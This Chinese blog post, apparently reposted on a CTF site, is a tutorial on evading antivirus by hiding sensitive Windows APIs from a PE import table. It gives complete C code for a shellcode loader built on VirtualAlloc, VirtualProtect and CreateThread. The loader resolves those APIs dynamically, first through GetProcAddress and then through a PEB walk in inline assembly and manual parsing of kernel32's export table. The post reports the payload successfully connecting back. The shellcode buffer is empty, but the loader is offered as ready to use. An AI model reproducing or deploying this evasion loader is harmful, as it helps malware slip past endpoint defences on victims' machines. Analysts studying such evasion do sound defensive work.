通过隐藏导入表的方式规避杀软

渗透技巧 1年前 (2023) admin
468 0 0

前言

在PE文件中,存在iat导入表,记录了PE文件使用的API以及相关的dll模块。
编译一个MessageBox文件,查看其导入表:

#include<stdio.h>
#include<Windows.h>

int main()
{
    printf("hello world\n");
    MessageBox(0, TEXT("hello world"), 0, 0);
    return 0;
}

可以看到使用了MessageBox这个API

通过隐藏导入表的方式规避杀软

杀软会对导入表进行查杀,如果发现存在恶意的API,比如VirtualAlloc,CreateThread等,就会认为文件是一个恶意文件。我们可以通过自定义API的方式隐藏导入表中的恶意API。

自定义API函数

FARPROC GetProcAddress(
  [in] HMODULE hModule, 包含函数或变量的 DLL 模块的句柄
  [in] LPCSTR  lpProcName 函数或变量名称
);
定义:
typedef int (FAR WINAPI *FARPROC)();
HMODULE GetModuleHandleA(
    LPCSTR lpModuleName     // 模块名称
);                         // 成功返回句柄 失败返回NULL

HMODULE LoadLibraryA(
    LPCSTR lpLibFileName // 一个dll文件
);                         // 成功返回句柄 失败返回NULL

这里GetModuleHandle和LoadLibrary作用是一样的,获取dll文件。
通过以上函数自定义API。

#include<stdio.h>
#include<Windows.h>

typedef int(WINAPI * pMessageBox) (

    HWND    hWnd,
    LPCTSTR lpText,
    LPCTSTR lpCaption,
    UINT    uType
    );

int main()
{


    printf("hello world\n");
    pMessageBox MyMessageBox = (pMessageBox)GetProcAddress(LoadLibrary("User32.dll"), "MessageBoxA");
    MyMessageBox(0, TEXT("hello world"), 0, 0);
    return 0;
}

程序可以正常运行:

通过隐藏导入表的方式规避杀软

查看其导入表:
User32.dll和MessageBox都不存在。

通过隐藏导入表的方式规避杀软

实战测试

用创建进程的方式加载shellcode。

#include <Windows.h>
#include <intrin.h>
#include <WinBase.h>
#include <stdio.h>
// 入口函数
int wmain(int argc, TCHAR * argv[]) {

    int shellcode_size = 0; // shellcode长度
    DWORD dwThreadId; // 线程ID
    HANDLE hThread; // 线程句柄
    DWORD dwOldProtect; // 内存页属性


    char buf[] = "";


    // 获取shellcode大小
    shellcode_size = sizeof(buf);

    char * shellcode = (char *)VirtualAlloc(
        NULL,
        shellcode_size,
        MEM_COMMIT,
        PAGE_READWRITE // 只申请可读可写
    );
    // 将shellcode复制到可读可写的内存页中
    CopyMemory(shellcode, buf, shellcode_size);

    // 这里开始更改它的属性为可执行
    VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);

    hThread = CreateThread(
        NULL, // 安全描述符
        NULL, // 栈的大小
        (LPTHREAD_START_ROUTINE)shellcode, // 函数
        NULL, // 参数
        NULL, // 线程标志
        &dwThreadId // 线程ID
    );
    WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
    return 0;
}

我们将这里敏感的API进行自定义:

//VirtualProtect
typedef BOOL(WINAPI * pVirtualProtect) (
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD  flNewProtect,
    PDWORD lpflOldProtect
);

pVirtualProtect MyVirtualProtect = (pVirtualProtect)GetProcAddress(LoadLibrary("kernel32.dll"), "VirtualProtect");

//CreateThread
typedef HANDLE(WINAPI * pCreateThread)(
    LPSECURITY_ATTRIBUTES   lpThreadAttributes,
    SIZE_T                  dwStackSize,
    LPTHREAD_START_ROUTINE  lpStartAddress,
    __drv_aliasesMem LPVOID lpParameter,
    DWORD                   dwCreationFlags,
    LPDWORD                 lpThreadId    
);

pCreateThread MyCreateThread = (pCreateThread)GetProcAddress(GetModuleHandle("kernel32.dll"),"CreateThread");
//VirtualAlloc
typedef LPVOID (WINAPI *pVirtualAlloc)(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD  flAllocationType,
    DWORD  flProtect
);

pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");

最终代码:

#include <Windows.h>
#include <intrin.h>
#include <WinBase.h>
#include <stdio.h>

//自定义API

typedef BOOL(WINAPI * pVirtualProtect) (
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD  flNewProtect,
    PDWORD lpflOldProtect
);

pVirtualProtect MyVirtualProtect = (pVirtualProtect)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualProtect");

typedef HANDLE(WINAPI * pCreateThread)(
    LPSECURITY_ATTRIBUTES   lpThreadAttributes,
    SIZE_T                  dwStackSize,
    LPTHREAD_START_ROUTINE  lpStartAddress,
    __drv_aliasesMem LPVOID lpParameter,
    DWORD                   dwCreationFlags,
    LPDWORD                 lpThreadId    
);

pCreateThread MyCreateThread = (pCreateThread)GetProcAddress(GetModuleHandle("kernel32.dll"),"CreateThread");

typedef LPVOID (WINAPI *pVirtualAlloc)(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD  flAllocationType,
    DWORD  flProtect
);

pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");


// 入口函数
int wmain(int argc, TCHAR * argv[]) {

    int shellcode_size = 0; // shellcode长度
    DWORD dwThreadId; // 线程ID
    HANDLE hThread; // 线程句柄
    DWORD dwOldProtect; // 内存页属性
/* length: 800 bytes */

    char buf[] = "";


    // 获取shellcode大小
    shellcode_size = sizeof(buf);

    char * shellcode = (char *)MyVirtualAlloc(
        NULL,
        shellcode_size,
        MEM_COMMIT,
        PAGE_READWRITE // 只申请可读可写
    );
    // 将shellcode复制到可读可写的内存页中
    CopyMemory(shellcode, buf, shellcode_size);

    // 这里开始更改它的属性为可执行
    MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);

    hThread = MyCreateThread(
        NULL, // 安全描述符
        NULL, // 栈的大小
        (LPTHREAD_START_ROUTINE)shellcode, // 函数
        NULL, // 参数
        NULL, // 线程标志
        &dwThreadId // 线程ID
    );
    WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
    return 0;
}

可以成功上线:

通过隐藏导入表的方式规避杀软
查看导入表:
通过隐藏导入表的方式规避杀软

可以看到,自定义的三个API已经看不到了,但是GetProcAddress和GetModuleHandle也可能会作为杀软识别的对象。

深入隐藏

通过手动获取dll文件的方式,获取这两个函数的地址。
大致流程:

  1. 找到kernel32.dll的地址
  2. 遍历啊kernel32.dll的导入表,找到GetProcAddress的地址
  3. 使用GetProcAddress获取LoadLibrary函数的地址
  4. 然后使用 LoadLibrary加载DLL文件
  5. 使用 GetProcAddress查找某个函数的地址
    ### 获取kernel32.dll的地址
    这里使用汇编获取,先贴代码。

    DWORD GetKernel32Address() {
    DWORD dwKernel32Addr = 0;
    _asm {
        mov eax, fs: [0x30]
        mov eax, [eax + 0x0c]
        mov eax, [eax + 0x14]
        mov eax, [eax]
        mov eax, [eax]
        mov eax, [eax + 0x10]
        mov dwKernel32Addr, eax
     }
     return    dwKernel32Addr;
    }
    

    这里有两个关键的结构,TEB(线程环境块)和PEB(进程环境块)。PEB结构存储着整个进程的信息。而PEB结构又存放在TEB中。
    这两个结构指针都存放在fs寄存器中,fs:[0x30]是PEB fs:[0x18]是TEB。
    接下来再分析上面代码的具体过程:

    mov eax, fs: [0x30]
    指向PEB结构
    
    通过隐藏导入表的方式规避杀软
    mov eax, [eax + 0xc]
    0xc处存放者LDR指针它指向一个_PEB_LDR_DATA结构
    
    通过隐藏导入表的方式规避杀软
    mov eax, [eax + 0x14]
    指向LDR指针中的InMemoryOrderModuleList链表
    

    通过隐藏导入表的方式规避杀软
    这里面有三个链表,这三个列表中的模块是一样的,只是顺序不同。
    通过隐藏导入表的方式规避杀软

    mov eax, [eax]
    mov eax, [eax]
    

    因为kernel32的位置是第三个,第一个是InMemoryOrderModuleList本身,向下两次,就找到了kernel32(这块还不是很理解)。
    最后就是获取kernel32的基址:

    mov eax, [eax + 0x10]
    InMemoryOrderModuleList 再偏移0x10,指向dllbase
    

    通过隐藏导入表的方式规避杀软
    ### 获取GetProcAddress
    不做叙述,有兴趣的可以自行学习,代码如下:

    DWORD RGetProcAddress() {
     //获取kernel32的地址
     DWORD dwAddrBase = GetKernel32Address();
     //获取Dos头
     PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)dwAddrBase;
     //获取Nt头 Nt头=dll基址+Dos头
     PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + dwAddrBase);
     //数据目录表                            扩展头 数据目录表 + 导出表    定位导出表
     PIMAGE_DATA_DIRECTORY pDataDir = pNt->OptionalHeader.DataDirectory +IMAGE_DIRECTORY_ENTRY_EXPORT;
     //导出表
     //导出表地址
     PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(dwAddrBase + pDataDir->VirtualAddress);
     //函数总数
     DWORD dwFunCount = pExport->NumberOfFunctions;
     //函数名称数量
     DWORD dwFunNameCount = pExport->NumberOfNames;
     //函数地址
     PDWORD pAddrOfFun = (PDWORD)(pExport->AddressOfFunctions + dwAddrBase);
     //函数名称地址
     PDWORD pAddrOfNames = (PDWORD)(pExport->AddressOfNames + dwAddrBase);
     //序号表
     PWORD pAddrOfOrdinals = (PWORD)(pExport->AddressOfNameOrdinals+ dwAddrBase);
      //遍历函数总数
      for (size_t i = 0; i < dwFunCount; i++)
        {
         //判断函数地址是否存在
           if (!pAddrOfFun[i])
          {
                 continue;
             }
                      //通过函数地址遍历函数名称地址,获取想要的函数
          DWORD dwFunAddrOffset = pAddrOfFun[i];
          for (size_t j = 0; j < dwFunNameCount; j++)
          {
                if (pAddrOfOrdinals[j] == i) 
               {
                    DWORD dwNameOffset = pAddrOfNames[j];
                   char * pFunName = (char *)(dwAddrBase + dwNameOffset);
                  if (strcmp(pFunName,"GetProcAddress")==0)
                  {
                        return dwFunAddrOffset + dwAddrBase;
                 }
             }
         }
     }
    }
    

    ## 完整代码

    #include <Windows.h>
    #include <intrin.h>
    #include <WinBase.h>
    #include <stdio.h>
    DWORD GetKernel32Address() {
     DWORD dwKernel32Addr = 0;
     _asm {
         mov eax, fs: [0x30]
                 mov eax, [eax + 0x0c]
                 mov eax, [eax + 0x14]
                 mov eax, [eax]
                 mov eax, [eax]
                 mov eax, [eax + 0x10]
                 mov dwKernel32Addr, eax
     }
     return  dwKernel32Addr;
    }
    DWORD RGetProcAddress() {
     //获取kernel32的地址
     DWORD dwAddrBase = GetKernel32Address();
     //获取Dos头
     PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)dwAddrBase;
     //获取Nt头
     PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + dwAddrBase);
     //数据目录表                         扩展头 数据目录表 + 导出表    定位导出表
     PIMAGE_DATA_DIRECTORY pDataDir = pNt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
     //导出表
     //导出表地址
     PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(dwAddrBase + pDataDir->VirtualAddress);
     //函数总数
     DWORD dwFunCount = pExport->NumberOfFunctions;
     //函数名称数量
     DWORD dwFunNameCount = pExport->NumberOfNames;
     //函数地址
     PDWORD pAddrOfFun = (PDWORD)(pExport->AddressOfFunctions + dwAddrBase);
     //函数名称地址
     PDWORD pAddrOfNames = (PDWORD)(pExport->AddressOfNames + dwAddrBase);
     //序号表
     PWORD pAddrOfOrdinals = (PWORD)(pExport->AddressOfNameOrdinals + dwAddrBase);
     for (size_t i = 0; i < dwFunCount; i++) {
         if (!pAddrOfFun[i]) {
             continue;
         }
         DWORD dwFunAddrOffset = pAddrOfFun[i];
         for (size_t j = 0; j < dwFunNameCount; j++) {
             if (pAddrOfOrdinals[j] == i) {
                 DWORD dwNameOffset = pAddrOfNames[j];
                 char * pFunName = (char *)(dwAddrBase + dwNameOffset);
                 if (strcmp(pFunName, "GetProcAddress") == 0) {
                     return dwFunAddrOffset + dwAddrBase;
                 }
             }
         }
     }
    }
    //自定义API
    //获取kernel32.dll地址
    HMODULE hKernel32 = (HMODULE)GetKernel32Address();
    //自定义GetProcAddress
    typedef FARPROC(WINAPI *pGetProcAddress)(
     _In_ HMODULE hModule,
     _In_ LPCSTR lpProcName
     );
    //动态获取GetProcAddress
    pGetProcAddress MyGetProcAddress = (pGetProcAddress)RGetProcAddress();
    //自定义GetModuleHandle
    typedef HMODULE(WINAPI* pGetModuleHandle)(
     _In_ LPCSTR lpLibFileName
     );
    pGetModuleHandle MyGetModuleHandle = (pGetModuleHandle)MyGetProcAddress(hKernel32, "GetModuleHandle");
    //自定义VirtualProtect
    typedef BOOL(WINAPI * pVirtualProtect) (
     LPVOID lpAddress,
     SIZE_T dwSize,
     DWORD  flNewProtect,
     PDWORD lpflOldProtect
    );
    pVirtualProtect MyVirtualProtect = (pVirtualProtect)MyGetProcAddress(hKernel32, "VirtualProtect");
    //自定义CreateThread
    typedef HANDLE(WINAPI * pCreateThread)(
     LPSECURITY_ATTRIBUTES   lpThreadAttributes,
     SIZE_T                  dwStackSize,
     LPTHREAD_START_ROUTINE  lpStartAddress,
     __drv_aliasesMem LPVOID lpParameter,
     DWORD                   dwCreationFlags,
     LPDWORD                 lpThreadId  
    );
    pCreateThread MyCreateThread = (pCreateThread)MyGetProcAddress(hKernel32,"CreateThread");
    //自定义VirtualAlloc
    typedef LPVOID (WINAPI *pVirtualAlloc)(
     LPVOID lpAddress,
     SIZE_T dwSize,
     DWORD  flAllocationType,
     DWORD  flProtect
    );
    pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)MyGetProcAddress(hKernel32, "VirtualAlloc");
    // 入口函数
    int wmain(int argc, TCHAR * argv[]) {
     int shellcode_size = 0;
     // shellcode长度
     DWORD dwThreadId;
     // 线程ID
     HANDLE hThread;
     // 线程句柄
     DWORD dwOldProtect;
     // 内存页属性
     char buf[] = "";
     // 获取shellcode大小
     shellcode_size = sizeof(buf);
     char * shellcode = (char *)MyVirtualAlloc(
             NULL,
             shellcode_size,
             MEM_COMMIT,
             PAGE_READWRITE // 只申请可读可写
     );
     // 将shellcode复制到可读可写的内存页中
     CopyMemory(shellcode, buf, shellcode_size);
     // 这里开始更改它的属性为可执行
     MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
     hThread = MyCreateThread(
             NULL, // 安全描述符
     NULL, // 栈的大小
     (LPTHREAD_START_ROUTINE)shellcode, // 函数
     NULL, // 参数
     NULL, // 线程标志
     &dwThreadId // 线程ID
     );
     WaitForSingleObject(hThread, INFINITE);
     // 一直等待线程执行结束
     return 0;
    }
    

    成功上线:
    通过隐藏导入表的方式规避杀软
    查看导入表,敏感API都已隐藏:
    通过隐藏导入表的方式规避杀软
    ## 参考链接
    https://xz.aliyun.com/t/10478
    https://bbs.kanxue.com/thread-266678.htm
    https://www.bilibili.com/video/BV1re4y1j7ih/

 

版权声明:admin 发表于 2023年1月16日 下午4:25。
转载请注明:通过隐藏导入表的方式规避杀软 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...